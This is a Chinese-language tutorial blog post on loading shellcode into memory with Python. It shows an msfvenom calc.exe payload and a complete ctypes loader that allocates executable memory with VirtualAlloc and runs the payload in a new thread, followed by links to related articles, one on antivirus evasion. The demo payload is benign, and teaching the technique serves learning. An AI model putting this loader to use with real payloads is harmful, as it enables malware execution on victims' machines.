Python内存加载shellcode
生成
首先生成一个测试的msf shellcode
msfvenom -p windows/x64/exec CMD=calc.exe -f python
把其中的shellcode复制出来留待待会使用
原理
大部分脚本语言加载 shellcode 其实都是通过 c
的 ffi
去调用操作系统的api,其实并没有太多的技巧在里面,明白了原理,只需要查一下对应的脚本语言怎么调用 c
即可。
那么我们只需要明白 c
通常是怎么加载 shellcode
的即可一通百通。
那么 c
是怎么加载 shellcode
呢,我们直接从汇编开始探究。
shellcode
这个东西我们明白是一串可执行的二进制(一般可执行文件的拥有可执行权限的section为.text),那么我们先通过其他的手段开辟一片拥有可读可写可执行权限的区域放入我们的 shellcode
,然后跳转到 shellcode
首地址去执行就行了,汇编里面改变eip(即当前指令的下一条即将运行指令的虚拟地址)的方法有不少,最简单的就是直接 jmp
过去了。也就是写成伪码大概意思就是(动态申请内存就不写了)
lea eax, shellcode;
jmp eax;
那么我们用 c
怎么表示呢?我这里也写一段伪码(因为本文的重点并不是在于 c
代码的编写)
那么按照刚才的思路,先申请一块可执行的内存,放入 shellcode
然后跳转过去执行即可。
// shellcode
unsigned char shellcode[] =
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9"
"\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08"
"\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1"
...;
// 定义一个函数类型
typedef void (__stdcall *CODE) ();
// 申请内存
PVOID p = NULL;
p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 把shellcode放入内存
memcpy(p, shellcode, sizeof(shellcode));
CODE code =(CODE)p;
code();
我并没有写出一个可用的 c
加载 shellcode
,只是旨在点出一下流程,然后引出后面的 python
加载 shellcode
,上面我们先申请了一块带有可读可写可执行权限的内存,然后把 shellcode
放进去,然后我们强转为一个函数类型指针,最后调用这个函数,达到了我们的目的。
Python实现
前面我说过,大部分脚本语言加载 shellcode
都是调用的c的ffi,那么我们直接按照之前的思路来就行了。下面我直接贴代码
import ctypes
shellcode = b""
shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
shellcode += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
shellcode += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
shellcode += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
shellcode += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
shellcode += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
shellcode += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
shellcode += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
shellcode += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
shellcode += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
shellcode += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
shellcode += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
shellcode += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
shellcode += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
shellcode += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
shellcode += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
shellcode += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
shellcode += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
shellcode += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
shellcode += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
shellcode += b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
shellcode += b"\x78\x65\x00"
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
注意其中的的每个 c_uint64
,这个类型在64位上是必要的,我们需要手动指定 argtypes
和 restype
,否则默认的是 32 位整型。
我的代码里面加了注释,我们可以看到,基本思路也是一样的,先分配一块可读可写可执行代码的内存,在代码中,我使用的是 0x40
(PAGE_EXECUTE_READWRITE)和 0x3000
( 0x1000 | 0x2000)(MEM_COMMIT | MEM_RESERVE),然后把 shellcode
塞进去,跳过去运行。
相信通过这一片文章的讲解你能够对 shellcode
的本质有更多的了解。
Python内存加载shellcode的更多相关文章
- 动态加载 ShellCode绕过杀软
反病毒解决方案用于检测恶意文件,并且通常使用静态分析技术来区分二进制文件的好坏.如果是恶意文件本身包含恶意内容(ShellCode),那么依靠静态分析技术会非常有效,但如果攻击者使用轻量级的stage ...
- python 模块加载
python 模块加载 本文主要介绍python模块加载的过程. module的组成 所有的module都是由对象和对象之间的关系组成. type和object python中所有的东西都是对象,分为 ...
- 内存加载DLL
1.前言 目前很多敏感和重要的DLL(Dynamic-link library) 都没有提供静态版本供编译器进行静态连接(.lib文件),即使提供了静态版本也因为兼容性问题导致无法使用,而只提供DLL ...
- DLL内存加载
动态加载dll 功能: 把一个处于内存里的dll直接加载并且使用. 用途: 免杀(静态文件查杀),外挂(防止游戏自己hook了loadlibrary等函数),以及其他. 原理: ...
- Python -- 数据加载、存储与文件格式
标签(空格分隔): Python 读入读出通常可以划分为几个大类:读取文本文件和其他更高效的磁盘存储格式,加载数据库中的数据,利用Web API操作网络资源. 读写文本格式的数据 pandas提供了一 ...
- BASE64编码和解码(VC源代码) 并 内存加载 CImage 图像
BASE64可以用来将binary的字节序列数据编码成ASCII字符序列构成的文本.完整的BASE64定义可见 RFC1421和 RFC2045.编码后的数据比原始数据略长,为原来的4/3.在电子 ...
- python 动态加载module、class、function
python作为一种动态解释型语言,在实现各种框架方面具有很大的灵活性. 最近在研究python web框架,发现各种框架中需要显示的定义各种路由和Handler的映射,如果想要实现并维护复杂的web ...
- 很考验人的java内存加载面试题
源代码如下,求结果 public class MemoryAnalyse { public static int k = 0; public static MemoryAnalyse t1 = new ...
- python︱模块加载(pip安装)以及pycharm安装与报错解决方式
每每以为攀得众山小,可.每每又切实来到起点,大牛们,缓缓脚步来俺笔记葩分享一下吧,please~ --------------------------- 准备放下R开始学python,真是痛苦,因为找 ...
随机推荐
- 第06组 团队Git现场编程实战
一.组员职责分工 队员姓名 主要分工 朱庆章 测评福州最受欢迎的商圈(参考人气) 陈梦雪 测评福州最受欢迎的商圈(参考人气) 关文涛 分别测评福州人均消费50以下,50-100.100-200.200 ...
- 如何提高工具开发和数据分析的效率?| jupyter | Rstudio server
这部分是超级干货,也能直接体现一个开发分析者的能力. 主要分为两部分: 1. 面对新问题时,如何高效的分析和开发? 2. 面对相似的问题时,如何最快时间的利用之前的开发经验? 因为现在我主要用shel ...
- 关于Kubernetes Master高可用的一些策略
关于Kubernetes Master高可用的一些策略 Kubernetes高可用也许是完成了初步的技术评估,打算将生产环境迁移进Kubernetes集群之前普遍面临的问题. 为了减少因为服务器当机引 ...
- Hive小文件处理
小文件是如何产生的: 动态分区插入数据的时候,会产生大量的小文件,从而导致map数量的暴增 数据源本身就包含有大量的小文件 reduce个数越多,生成的小文件也越多 小文件的危害: 从HIVE角度来看 ...
- CentOS7搭建时间服务器-chrony
系统:centos7防火墙:关闭防火墙和selinux软件:chrony centos6我们一直用的ntp时间服务器,虽然到CentOS7上也可以装ntp.但是各种问题.所以建议centos7使用 ...
- 【转】用python读写excel的强大工具:openpyxl
最近看到好几次群里有人问xlwt.wlrd的问题,怎么说呢,如果是office2007刚出来,大家用xlsx文件用不习惯,还可以理解,这都10年过去了喂,就算没有进化到office2016,还在用of ...
- 004-行为型-01-策略模式(Strategy)
一.概述 定义了一系列算法,并将每个算法封装起来,使他们可以相互替换,且算法的变化不会影响到使用算法的客户.需要设计一个接口,为一系列实现类提供统一的方法,多个实现类实现该接口,设计一个抽象类(可有可 ...
- 报错:flutter: Another exception was thrown: Could not find a generator for route RouteSettings
原因是一个工程中多次使用MaterialApphttps://stackoverflow.com/questions/49132299/could-not-find-a-generator-for-r ...
- Django 将APP存储至统一目录
项目根目录下创建apps目录 mkdir apps 将应用移动到apps目录下 这里取消 search for references ,open moved files in edito 选择 ...
- 16、vue引入echarts,划中国地图
vue引入echarts npm install echarts --save main.js引入 import echarts from 'echarts' Vue.prototype.$echar ...